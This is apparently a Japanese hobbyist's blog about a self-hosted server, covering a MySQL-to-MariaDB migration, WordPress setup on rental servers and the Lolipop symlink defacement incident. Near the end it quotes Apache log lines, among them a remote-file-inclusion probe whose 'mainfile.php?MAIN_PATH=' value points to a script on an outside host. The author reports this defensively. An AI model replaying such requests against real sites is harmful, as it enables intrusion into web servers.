「シンボリックリンク攻撃のデモ」をやるかもしれないってさ。徳丸さんとこの「マイナビのセミナーにて講演します」に書いてあった話。まぁ，ご自分の講演の告知だから，宣伝ちゃ宣伝だけど，近くだったら聞いてみたいよなぁ。
申し込みのページには，「※競合企業や同業他社の方は参加をご遠慮いただく場合がございますのであらかじめご了承ください。」という注意書きがあるから，競合企業や同業他社の方で行きたい方は気をつけてねー。何の注意をしとるんじゃ（笑）。
「シンボリックリンク攻撃のデモ」って，元ネタは絶対に，これ，でしょ。しかし，こういうことって対岸の火事じゃないからね。参考になりそうなことは聞いてみたいよなぁ。
まあ，距離的に，聞きに行くってのは無理だよなー。
昨日は，一生懸命取り組んでいた。何にって，くりくりさんとの話にも出ていた Windows7HP+SP1(x86) 上での MySQL から MariaDB 移行に（汗）。
まずは，全サーバデータのバックアップ。
次に，右図の表示をする maintenance.html を作り，作業のために，以下の行をドキュメントルートの .htaccess の頭に追記した。（参考： mod_rewrite，<IfModule>，Webサイトのメンテナンス中画面を出す正しい作法と.htaccessの書き方）
ErrorDocument 503 /maintenance.html
RewriteEngine On
RewriteCond %{REQUEST_URI} !=/maintenance.html
RewriteCond %{REMOTE_ADDR} !=IP address for Admin
RewriteRule ^.*$ – [R=503,L]
Header set Retry-After “Wed, 18 Dec 2013 01:00:00 GMT”
ここに，「特定のモジュールの存在に関わらず動作する 設定ファイルの原本が必要なときにのみこのセクションを使用してください。 通常の動作では、ディレクティブを <IfModule> セクションの中に 入れる必要はありません。」と書いてあったので， <IfModule> はいらないかなと思いはずした。
さて，さっき作った maintenance.html をサイト上に表示するようにして， MariaDB5.5 への移行に取り掛かった。
MariaDB をクリーンインストールする。今回，エンジンは MyISAM から InnoDB に変えてみたい。 MySQL を使い始めたときにすべてのテーブルを MyISAM で作った。最近， InnoDB のメリットをよく聞くのでやってみたくて仕方なかった。もっとも，そうしたって，よくわかっていないから，生かしきれないと思うけど（爆）。それに，移行で泥沼にはまっている話もちょくちょく見かけたので，二の足を踏んでいた。だって，何か起きたら対処しきれないじゃないヨ，もともと，よくわかってないんだから-Haha。
MariaDB はデフォルトで InnoDB らしい。この機会に，テーブルを作り変えてもいいや。
ステップ１ MySQL をアンインストールする。
ステップ２ MariaDB をインストールする。
cmd.exe を管理者として実行。
> cd Drive_SV:MariaDBbin
> mysql_install_db.exe –datadir=Drive_SV:MyDB –service=MyDB –password=secret
これにより，root のパスワードが設定され， MyDB の中には my.ini が作られる。
ステップ３ phpMyAdmin で MariaDB にアクセスする。
WordPress Importer でインポートしたが，結局止めてしまった理由。
新しく WordPress をインストールした後， WordPress Importer でコンテンツをインポートした。間の悪いことに作業がほぼ終わってから，このプラグインが <object> などのある種のタグを移してくれないことに気づいた。 html 関係のどんなタグが対象になるのか調べるのも鬱陶しくて，この方法はやめることにした。これに結構時間かかってたんだけどね。
ステップ４ phpMyAdmin ですべてのWordPress のデータを復元する。
もともと， MyISAM だったので， FULLTEXT indexes が使われていたみたい。調べてみたら， YARPP が post_title と post_content のキーとして使っていた。ウーム。 しかし，フォーラムに， we can use YARPP on the InnoDB というのがあったので読んでみたら，性能は落ちるけど， InnoDB でも使えんことはないよと，プラグインの作者が言っていたので，「エイヤッ」と全 FULLTEXT indexes 関連行を削除した。（そういえば， MySQL5.6 は InnoDBでも FULLTEXT に対応したよね。–12/25追記）
書き換えたファイルをインポートしたら，あらまたエラーが……
#1064 – You have an error in your SQL syntax;
これは，えっと，私のミスであった。 FULLTEXT indexes を消したときに “,” の消し忘れ。
KEY `post_author` (`post_author`), <<--------この ',' が残っていたのヨ。
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=xxxx ;
で， ',' を削除。
３度目の正直。ナンチャッテ。インポート。おっ，通った。
ステップ５ 通常営業に戻る。
.htaccess を元に戻して，メンテ終了。
Your website needs to be publicly accessible to use Jetpack: site_inaccessible
Error Details: The Jetpack server was unable to communicate with your site https://MySITE
[IXR -32300: transport error: http_request_failed SSL certificate problem: self signed
certificate in certificate chain]
でも，調べてみたところ，メンテのせいではないようだ。そんなわけで， Jetpack フォーラム での情報待ちです。
MariaDBについては，移行完了ってところ。拍手×２。
追記(12/21)：
MyISAM から InnoDB に変更して以来， YARPP プラグインの性能低下がはなはだしい。予想以上のひどさである。 YARPP のページの示唆通り，元に戻したほうが賢明だ。
ところが，この変更を YARPP が認識してくれない。こういう操作のための機能も用意されているのだが，うまく働かない。解決策を探しに， YARPP サポートフォーラムに行ったら， MyISAM Override check doesn’t work というのがあった。 hussong の方法をやってみた。
SELECT * FROM `wp_options` WHERE option_name LIKE "yarpp%" をやる。yarpp_fulltext_disabled = 1 というのがあるはずなので，これを yarpp_fulltext_disabled = 0 に変更する。これで，タイトルと内容の検討オプションが使える。ヤレヤレ。
追記２(12/25)：
「Jetpack の不具合について。」というのを書いた。
追記３(2014/6/22)：
WordPressでの「SSL3_READ_BYTES:sslv3 alert handshake failure」を解決というのを書いた。
徳丸さんが関連記事（新規での投稿時刻は 9:48 のようである）を書いている。表題はそのものずばり。「ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策」。
この中で，徳丸さんは hissy さんが，個人的な見解の中で， “symlink, mass deface” と書いておられたことの具体的手法だろうと，私が思ったことについて，詳しく書いてくださっている。
しかし， WordPress を使う場合 mod_rewrite がいるから， FollowSymLinks は必須だ。ということは， 共有サーバの場合，ここを必ず SymLinksIfOwnerMatch にしておけばいいということなのか。うちの場合，ユーザは私ひとりなので，ドキュメントルートの Options はデフォルトのままで， AllowOverride のほうは，デフォルトの None から FileInfo Indexes Limit に変更してある。 .htaccess で使うためだ。
LINUX を使ったときにシンボリックリンクとは便利なものだと思ったが，元来は UNIX 由来のものだろうと思う。メインフレームしか存在しなかったような時代においては，今のように不特定多数のしかも初心者に近いような人間がネット上で使用するようなことは想定外だったろうから，そのころのゆるさが残ってしまっているのだろう。
なんちゅうか，自分の住んでいるところの郵便局と，西部劇の新開地の銀行を比べてみているのような気分になってきた。
自鯖の環境を振り返ってみて，上記の件も大丈夫かなという気になってきたところである。ところで， WordPress をお使いの同好の士は，環境を最新に保つようにがんばりましょう。今回， timthumb.php の脆弱性が利用されたのであれば， timthumb.php を開発している方たちはがっくり来てると思うよ。「俺たちの努力は何だったんだ」って。まっ，何の分野でもよくある話だけどね，ありがたくないことに（爆）。
いろいろ，情報が出ているようだが，ロリさんからの詳細情報は，われわれが利用できるような意味では（具体的にどのファイルのどの脆弱性を使われたとか，サーバのどの穴を突かれたとか ― 望むほうが無理かいな），詳細には出ていないようだ。しかし，状況としては少し落ち着いてきたのだろうか。
hissy さんが今時点（朝8:55ごろ）での見解をまとめられていて，参考になるのでリンクを貼っておく。これ。
もし， timthumb.php が狙われたとすれば，脆弱情報を入手しての更新がいかに大切か，実感できると思う。私が， timthumb.php の脆弱性に触れたのは，調べてみたら 2011.08.05 のことだった。丸２年前には，アップデートが配布されているわけだから，この既知の脆弱性が残っていたとすれば，これが２年間手当てされていなかったことになる。ロリさんところのような形態のサーバでは，そういうユーザもかなりいるのかもしれない。しかし，これだけだとそのサイトだけ話になるから，他ソフトの脆弱性やサーバの不備を突かれて，これを踏み台に使える方法を見つけられてしまったということなのか。サーバの脆弱性を付かれたと言うことになれば，これはホスティングサービス側の責任が大きいだろう。フリーで気楽に使えるレンタルとなれば，『そういうユーザ』が多くなるのは止むを得ないから，ホスティング側がしっかりしないといけないわけだが，職場として考えたとき，そういう運営をする場合は，優れた技術者を集め最新のインフラを維持するようなコストはかけられないだろうな，と思ってしまう。
必然的に，サーバ群のセキュリティが，低いまま残っていく，ということになるのかもしれない。
ところで，うちの Apache の８月のログにも
”GET /～/cybercrime.php HTTP/1.1″
なるものが，21日分に残っている。しかし， Error AH00127: Cannot map GET が戻っているので，問題なかったのだろう。ちなみに， Apache のログから /cybercrime.phpが見つかったのは， 2011.4 から今まででこの日だけだった。
/w00tw00t.at.ISC.SANS.DFind:) とか 0w131 とか phpMyAdmin がらみとかは，よく見かけるんだけどナ。
そういえば，ほかに uploadify.php の脆弱性にも触れたことがある。このときは，これがらみで「PHP/WebShell.A.1[virus]」が送り込まれてきたようだった。関連の脆弱性がなかったせいか事なきを得たわけだが，なんによらず，素人の自鯖運営者としては，「この間書いたように『新しいものは，気づかれない大穴があるということもあるが，それ以上に古い既知の穴のほうが怖いよというのが，最近のスタンスと思われる。』という姿勢で行くしかないのかなぁ」と思った今回のロリさん達の事件であった。
昨朝，起きて WordPress の日本語ブログのダッシュボードに入って，びっくり。フォーラムのところに，なんと，「サイト改ざん？」の文字が乱舞している。
いや，うちではないです。よそ様です。フォーラムに初投稿がされたのは一昨日のようだが，一昨日は，芋虫くんにかまけていて，気づかなかった。まぁ，昼からは，いろいろリアルも忙しかったし。
昨日も昨日で，朝あらかた読んで，ひとまずうちには影響がなさそうなので，予定通りでかけてしまった。（汗）
しかしねぇ，テストサイトに使っている atpages から，一昨日こういう連絡が来たばかりだったし，
【@PAGES】【お詫び】ユーザ情報流失に関するお知らせ 2013.08.28
さらに昨日はこれが来たので，
【@PAGES】【お詫び】ユーザ情報流出に関するお知らせ【第2報】2013.08.29
いずこも同じようなことがあるのかなと思ったわけだ。上記の事件と同じようなといわれたら， atpages は心外かもしれないが……幸いにして，狙われなかっただけ，という気もする。
今のところ，「ロリポップサーバーでサイト改ざんハッキング被害に遭った方への情報」から跳べる「ロリポップサイト改ざん関連情報 (2013年8月)」を読んでも，はっきりとした原因はわからないわけだが，いろんなことで似たり寄ったりかなと思う。（爆）
「Hacked by Krad Xin」でググると，表題にこの文字列が入ったものすごい数のサイトが現れる。上記の事件の発端が一昨日だから，事件関連の記事も多いわけだが，それを除いても（年月日設定を去年１年とかしても，ということ），すごい数だ。これって，要するにスクリプトを仕組まれているんじゃないのか？
フォーラムの話の中に，
> 一般設定のサイトタイトルがHacked by Krad Xinとなっていたのを元のサイト名に戻しました
てのがあるからねぇ。
今回のクラックはある意味，性がいいかも知れないとか思った。だってね，一番初めに投稿した方が書いているように，クラックされたサイトで文字化けがあったわけだ。そうすると，変だなぁって，気づくよね。「深く静かに潜航」するほうが，たちが悪い。ダメージが一緒なら，早く気づけるほうが手当ても早いわけだから，不幸中の幸いだよ。「Hacked by Krad Xin」でググったときに出てくるサイトのほとんどは，気づいてないのではなかろうか。
まぁ，「ロリポップ」では，昨年から， WAF が標準装備って謳っていたみたいだけど，あんまり役立てられていなかったようだね。徳丸さんが，「ロリポップ上のWordPressをWAFで防御する方法 」を書いているので（去年の記事を，昨日の時点でタイトル変更，追記までしている），「ロリポップ」を使っている人は，今回の手当が済んだ後は，よく読んで取り組んだほうがいいと思う。
レンタルサーバだと，導入されていない WAF は使いようがないだろうけど， WordPress 使いとして，せめて出来ることはやっておこう。前にも書いたけど，こんなとこが参考になると思う。
セキュリティ関係はナマモノとはいうものの，上げられてる10個のうちの半分は， WordPress に限る話ではない。 up-to-date とか，パスワード強度とか，ユーザの啓蒙とか。最後のものなんて管理者だったら，一番苦労するとこ。
しかし，管理者になっている方は，レベルの違いはあれ，日々勉強と縁が切れないってことだ。お互いに，ガンバ!!
追記：
読み直してみて， wp-config.php や .htaccess のパーミッションの話を全く書いていないのに気付いた。今どき，あの環境で 404 ， 604 は当たり前だろうとか思っていたせいで，書き忘れたのかな。結局， wp-config.php については， 400 ってことになったようだ。
LINUX に詳しくないので，この辺がよくわからないのだが，レンタルサーバで public_html 下のファイルのオーナーと サーバソフトウェアのオーナーが違う場合， 400 にしちまうと， wp-config.php をビジターが使えなくてエラーになりそうな気がするが，その辺，ロリはどうなってんのだろ。
詳しい方がいらっしゃったら，よろしく。
ところで，先日
「 Windows ファイアーウォールからのアラートを受容すると自動的にルールが構築される。しかし，これが甘々なのである。 今回の場合でも，デフォルトだと，すべての IP アドレス＆ポート（それも， TCP だけでなく UDP まで）についてオープンしている状態になる。これじゃあんまりなので，”セキュリティが強化された Windows ファイアウォール” の機能を使って，もう少しきっちりと制限しておくべきだと思うのであった。」
と書いた件だが，ほかのパーソナルファイアーウォールを入れずに，”セキュリティが強化された Windows ファイアウォール”を使い続けている。この件で少し詳しい記事を書きたいと思っているが，今のところ，思っているだけ。
一言愚痴っておくと，「スコープ」の細かい設定がしにくい。どなたか，その部分にデータをインポートするいい方法をご存じないですか。
WordPress3.3.1を，XREAや@pagesにインストールしたときの注意点を，まとめておこうかなと思ったんだけど，書き始めるとめんど臭くなってきた。で，題名が覚え書になった（爆）。
関連する記事は，このブログで検索ワードとして「tmp wordpress」や「AddHandler application/x-httpd-phpcgi .php」を使って調べたときに出てくるものになるナ。
XREA・@pagesの共通の特徴はLAMP系であることだが，これはレンタルサーバとしてはごく普通のことだから，特記すべき点はPHPがセーフモードで動いていることだろう。PHPのセーフモードは，PHP5.3.0から非推奨になったが，XREAも@pagesもPHP5.2系を使っているようだ。憶測だが，稼働中のレンタルサーバでは，今までセーフモードを使っていたところを変更して，同等のセキュリティを実現するのは，なかなか難しいのかもしれない。
両者のフリースペースを比べた場合，いろんなことができる自由度はXREAのほうが高いが，設定の面倒さもXREAのほうが高い気がする。また，XREAのフリースペースは，現時点では，Value-Domain関連の有料サービスを使っていないと借りられないから，無料レンタルサーバとしては一般的とはいえない。
XREA・@pages，どちらの場合も稼働しているサーバは複数で，サーバごとに少しずつ設定が異なるので，注意が必要である。また，XREAでの設定はCORESERVERにも大体使えると思ってよい。
PHPがセーフモードで動いているとmkdirの使用が制限されるようだから，おおもとのWordPressのスクリプト群のアップロードのときに，前もってFTPクライアントで子ディレクトリを手作業で作っておくと，幸せになれるようだ。それに，１回にアップロードできるファイルサイズの制限に引っかかる場合なんかもあるから，小分けにしてアップロードしたほうがいいようだ。「急がば回れ」だね。
インストールがすんだら，FTPクライアントでドキュメントルートにtmpを作り，パーミッションを707にして，wp-config.phpの「/* 編集が必要なのはここまでです ! WordPress でブログをお楽しみください。 */」の行より上に
XREAの場合は，
define( ‘WP_TEMP_DIR’ , ‘/virtual/ID/public_html/tmp/’);
@pagesの場合は，
define (‘WP_TEMP_DIR’, ‘/usr/local/www/htdocs/ユーザーID/public_html/tmp/’);
を追加。再度，wp-config.phpをアップロード。注意としては，wp-config.phpの編集には，BOMの管理のできるテキストエディタを使い，保存時にはBOMを付与しない形で保存するってこと。
wp-contentの直下にuploadsを作り，パーミッションを707にする。これは，XREA・@pages，どちらも同じ。同じところに，upgradeも作っておく。upgradeのパーミッションについては，やはり，707にしておくほうがいいのかどうか。XREAでは，しなくてもO.K.のようだし，@pageでは，しておいてもエラーが出るし？？？？？しかし，作っておかなければいけないのは，確かみたい。
tmp，uploads，upgradeあたりの設定を済ませておかないと，「ファイルストリーミングの送り先となるディレクトリが存在しないか、書き込み不可になっています。」が出るようだ。
あとは，XREA関連になる。XREAでPHPをモジュール版で動かすとき，制限がきついためにうまく動かないことかある。これを回避する方法として，.htaccessを使って，「(新)PHPをCGIとして動かす方法について」というのが提供されている。
.htaccessに
AddHandler application/x-httpd-phpcgi .php
を記入して該当のスクリプトをGCIとして動かしてやるというものなのだが，WordPressのインストールディレクトリにこれを入れて，どれもこれもCGIモードで動かすとなるとmodule版を使う意味がない。そこで，必要最低限のスクリプトを指定してやったほうがいい。
現在のところで，私が指定しているのは以下のものだけ。.htaccessの場所はwp-adminの直下と，wp-includes/js/tinymceの直下である。
wp-adminの直下の.htaccessの内容。
LayoutIgnoreURI *
<Files admin.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
<Files update.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
<Files plugins.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
<Files themes.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
AddHandler application/x-httpd-php5cgi .php は AddHandler application/x-httpd-phpcgi .php でも動くんだが，PHP5を使っている場合は，こちらを使ってくれと「PHPをCGIとして動かす方法について」に書いてあるので，指示通りにしているのだ。
LayoutIgnoreURI * は，XREAの広告が自動挿入されるとダッシュボードのJavaScriptがまともに動いてくれないので，これを回避するために入れてある。はやわかりXREAの「自動挿入広告」のFAQのページを読んで，ダッシュボードには広告を挿入しなくても違反にはならないと判断している。当然ながら，XREA+やCORESERVERなどの有料サービスであれば，LayoutIgnoreURI * は，いらない。
wp-includes/js/tinymceの直下の.htaccessの内容。
<Files wp-tinymce.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
これは，ネットワークの作成-#3。の2.で書いた，「ビジュアルエディターが使えなかった件」の対策。こっちのほうが簡単だし，バージョンアップのときに気にしなくてよい。
まぁ，こんなところかな。結構長くなっちゃったな。この件は，思い出したらまたここに足していこう。
ところで，PHP5.4.0が出てますな。
どうも，体調のすぐれない一週間だ。急に寒くなったせいなのかもしれないが，久しぶりに胃痛が激しかった。リタイアしてから，めったと痛むこともなかったのに……
ピロリ菌の治療をしてからずいぶん経つので，もしかしたら彼らが復活しているのかもしれない。10月のいつもの通院でちょっと確認してみようと思う今日この頃だ。せっかく涼しくなって，食事もおいしくなってきたはずなのに，そう感じられないって損だよねぇ。
りりさんからコメントが入ったので，返事を書いていたんだが，長くなってきたので別記事として書くことにした。書くことって，CatchAllの話くらいしかないが，他のレンタルサーバはどうなっているのかなと思っていた点でもあるので，立てておけばどこかから情報が得られる可能性もあるという期待で。ちと，さもしいかしらん。
りりさんは，Xserverでのネットワーク（マルチサイト、複数サイト）の構築に手こずってられるらしい。WordPressの日本語Codexのネットワークの作成のサーバ要件のところには，
が書いてある。
と書いてあるんだが，この辺どうなんだろうか。
Xserverのこの辺の説明を読んだところ，Xreaとの違いはCatchAllの機能がないことのようだ。XreaのCatchAll機能というのは，*.example.comにあったアクセスをすべてdefaults.example.comにまとめる機能で，ここに集まったアクセスをWordPresstが.haccessのrewriteディレクティブで各ユーザに割り振ってやっているようだ。Xreaのhttpd.conf やバーチャルホスト・エントリーがどうなっているかは，私には全然わからないのだが，共有サーバで単純にCodexに書いてやっているようなことだけしかしていなかったら，違反者の管理が大変だろうから，いろいろとこまごましたことがあるんだろう。
ところで，CatchAll機能というのはメールサーバでは聞いたことあるけど，レンタルサーバのこの手の機能の呼び名としても一般的なんですか。ググってみても，他ではあんまり出てこないようですが。
XserverのDNSレコードについてを読むと，*.xserver-sample.comのAレコードは設定できるようになっている。しかし，*はなんでもいいわけだから，ここにアクセスされたものをすべてWordPressがインストールされている/public_htmlにアクセスさせる必要があるが，これができないようだ。サブドメインの使い方を読むとそうなっている。ここで，サブドメインを設定するとそれ用のディレクトリが勝手にできてしまう。この点は，CatchAllの機能を使わない場合のXreaでも同じだが，Xserverの場合これをFTPで削除しても，CatchAll機能が使えないとだめなんだろうなぁ。できたサブドメイン用のディレクトリを全部削除し，下のデフォルトのDNS設定を*.xserver-sample.comのAレコード以外全部削除しても，機能してくれないかな。まぁ，その辺の設定は，安全を考えてきっちりやっているだろうから，無理かなという気もする。
| ホスト名 | 種別 | 内容 | 優先度 |
|---|---|---|---|
| xserver-sample.com | A | xxx.xxx.xxx.xxx | |
| www.xserver-sample.com | A | xxx.xxx.xxx.xxx | |
| xserver-sample.com | MX | xserver-sample.com | 0 |
| *.xserver-sample.com | A | xxx.xxx.xxx.xxx |
投稿アップデート情報 追記２(2012/7/16) 追記３(2013/8/15)
前の記事の続きで，XREA+での話です。長くなったので分けました。
の作業を間違いなく実行。
Similar Postssについては，初めは子サイトでうまく動かなかった。やっているうちに動かせる方法が分かったので，フォーラムに投稿した。同じ使い方をする場合はこちらを読んでほしい。。
if ( isset($_GET['c']) && 1 == $_GET['c'] && isset($_SERVER['HTTP_ACCEPT_ENCODING'])
&& false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && ( $file = get_file($basepath . '/wp-tinymce.js.gz') ) ) {
header('Content-Encoding: gzip');
echo $file;
} else {
echo get_file($basepath . '/tiny_mce.js');
}
exit;
の部分をコメントアウト（あるいは削除）し，以下の２行に書き換える。
echo get_file($basepath . ‘/wp-tinymce.js’);
exit;
追記２(2012/7/16)
上記のことについて，Xreaではwp-includes/js/tinymceの直下に，以下の内容の.htaccessを置くことで，同様の効果を得ることができる。
<Files wp-tinymce.php>
AddHandler application/x-httpd-php5cgi .php
</Files>
Xreaの場合は，こっちを使ったほうが簡単だし，バージョンアップのときも気にしなくてよい。
この後，XREAの管理画面から，「ツール」>>「ファイル所有者の修正」をやっておく。やっておかなかったら，データのインポートでエラーが出る。まぁ，その時点でやっても問題ないけど。
どこで追加したか忘れたが，/public_html/wp-admin の.htaccessには以下の２つも追加しておく。忘れると，あとでやるインポートやテーマのインストールがうまくいかない。
<Files themes.php>
AddHandler application/x-httpd-phpcgi .php
</Files>
<Files admin.php>
AddHandler application/x-httpd-phpcgi .php
</Files>
２つのブログの引っ越しについてはこんなところかな。何か忘れていることがあるかもしれない。あー，長かった。しかし，これでまだ道半ばなんだよ。orz
追記(9/9)：blogs.dir以下のディレクトリパーミッションは707にしておかないと，filesディレクトリへの移動ができないのでファイルのアップロードが完了しない。
追記３(2013/8/15)：
「Similar Posts」のサポートが止まって長いので， Yet Another Related Posts Plugin を使うことにした。こちらには，はじめから日本語化ファイル（プラグイン作者自作）が付いている。どうも日系の方みたい。
10日ばかり前(8/27)から，WordPress3.2.1をXREA+上でネットワーク化しサブディレクトリ型のマルチサイトとして使おうと，これにどっぷり浸かっている。前のときに，「サブドメインの練習。」から「ネットワークの作成-#4。」までの一連の記事で，XREA上のWordPress3.2.1でのサブドメイン型のマルチサイトのお勉強の様子を書いたわけだが，あれは単にお勉強だった。しかし，これは本当に勉強になって今度のサブディレクトリ型の構築でも大変に役に立っている。
今回のは，表題の通り自鯖のお世話の関係になる。自鯖については，Apacheやメールサーバの勉強をしたいと思ってローカルで建てていたもの（これは仕事先のサイトの管理をやっていたので，仕事場とほぼ同じ環境を作って，チェックに使うために構築したのが発端。）を，DDNSで公開するところから始めて，独自ドメインを取り（これが2007年），その上でMovableTypeを利用したブログを書くようになった。当初，目的がサーバ自体の勉強であったため，ブログを書ける環境は作ったものの記事を書くことにはあまり興味がなかった。サイトのコンテンツを書くことについては，仕事関係の分だけでお腹いっぱいだったせいもある。
ひょんなこと（「WordPress インストール。」参照）から，無料レンタルサーバ上にWordPress2.9.2でブログを書き始めたが，このレンタルサーバの接続があまりにも不安定なのに業を煮やし，このブログも自鯖上に移してしまった（「ブログを引っ越す。」参照。）ので，自鯖上にMovablTypeとWordPressと手書きのコンテンツが同居することになった。サーバ管理の勉強がしたくて始めたとはいうものの，昨今のようにセキュリティ・アップデートが引き続くとWAMP系の，しかし，パッケージではなく別々に構築したサーバソフトウェアの世話だけでも面倒なのに，両ブログCMSの世話が結構大変になってきてうんざりしていた。
そこで，一大事業になるのは目に見えていたが，サイトのコンテンツの管理をWordPressに一本化しようと思い立った。一本化の骨をどのCMSにするかということは前もって考えてみた。
Xoopsをインストールしてみたことや，近頃のMovableTypeの使い心地や，この間，XREA上のWordPress3.2.1でのサブドメイン型のマルチサイトを構築したときのことから考えると，いろいろ問題はあるもののWordPressがいいかなと思ったわけだ。今の勢いを考えると，WordPressのマルチサイトの使いやすさが上がってくるのもそう時間はかからない気がする。いちいち動的にページを表示するのでサーバのその都度の負担は若干大きいかもしれないが，うちのサイト程度では，問題にもならないだろう。主なコンテンツは２つのブログだから使い慣れていない汎用CMSよりも使い慣れたのがいいだろうということもある。
MovableTypeももともとオープンソースのMTOSを使っていたので，費用の点ではこちらも無料だが，Perl系のMovableTypeとPHP系のWordPressでは，素人には後者の方がアップデート管理がしやすい気がする。PHPは膏薬(？)のようにどこにでもくっつくので，そのせいだろうか。反面，セキュリティではあっちこっち危ないということがあるのだろう。
（注） 半可通の書いていることなので，鵜呑みにしないようにお願いします。―笑
で取りかかったのだが，「一大事業になるのは目に見えていた」という覚悟はしていたものの，大変です（号泣―爆）。
何はともあれ，稼働中のサーバなのでどこかにテストサイトを作ろうと考えた。自鯖のWindowsXPでVirtualPCということも候補に入れたが，使っているPC上でやるのは性格からくるうっかりミスで，間違って何かを削除するのが怖い（実は，実際にやらかして青ざめ，そっからやりなおしたのっス。―恥）。で，この間使ったXREA上で未公開のままテストサイトを構築することにした。
まぁ，２ブログの引っ越しまでは，あんまり問題もなくうまくいったんだ。大体29日には終わっていた。
今，手を焼いてるのは，旧手書き部分用のWordPressテーマのカスタマイズとWordPressの投稿画面を使ってBBSを作ること。これも，ほぼ出来たんだけど，cssに手こずっている。cssはねぇ，むかーし，やったことはあるんだけど，どうもそのころから苦手で。こう書けばこうなるはずと思って，書いたstyle.cssをアップしてみると意図したようになっていない。これの繰り返し。その過程で，IEについて7以下は見捨てることにした。7については，全く環境がないのでテストができないし，6についてはあまりにもやんちゃなのでギブアップ。その昔cssをやったころは，IE6だけを念頭に置いておけば，ほぼ無問題だったんだけど，今日日は，IE8とIE9を蚊帳の外に置くわけにいかないし，IE6とこの２つは全くと言っていいほど挙動が違う。もちろん，IE6のほうが，仕様に準拠していないのだ。
他の人気ブラウザについては，当初から最新版しか念頭にない（爆）。これは，IEを使わずに他のモダンブラウザを使っている方たちは，だいたい最新版にアップして使っているのが普通だろうという希望的観測がもとになっている。
２ブログの引っ越しくらいまでは，メモを取っていたんだけど，そっから先はグズグズになって何をやったかよくわからん。後で一番必要なところなのに（泣^２）。そういうわけで，引っ越しくらいまで，報告しておきます。XREA+での話です。しかし，すごく長くなっているので残りは，次記事にします。
今日は，寒かった。昨日から南に見える例のお山は雪を頂いていたが，今朝は北に見える山も雪を被っていた。初雪である。まぁ，家の辺まで降ったわけではありませんが……
ところで，12月5日にXOOPSを導入して以来，mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで，libwww-perlを利用したものである。自鯖にはmainfile.phpはないので，すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが，やっぱりmainfile.phpは有名な名前なんだね。
MoovableTypeでも，WordPressでもコンフィグを狙うアクセスは多いけど，有名どころのアプリをそのままの名で設置するときは，指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。
ところで，aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら，右の画像が表示された。カスペルスキー，えらい。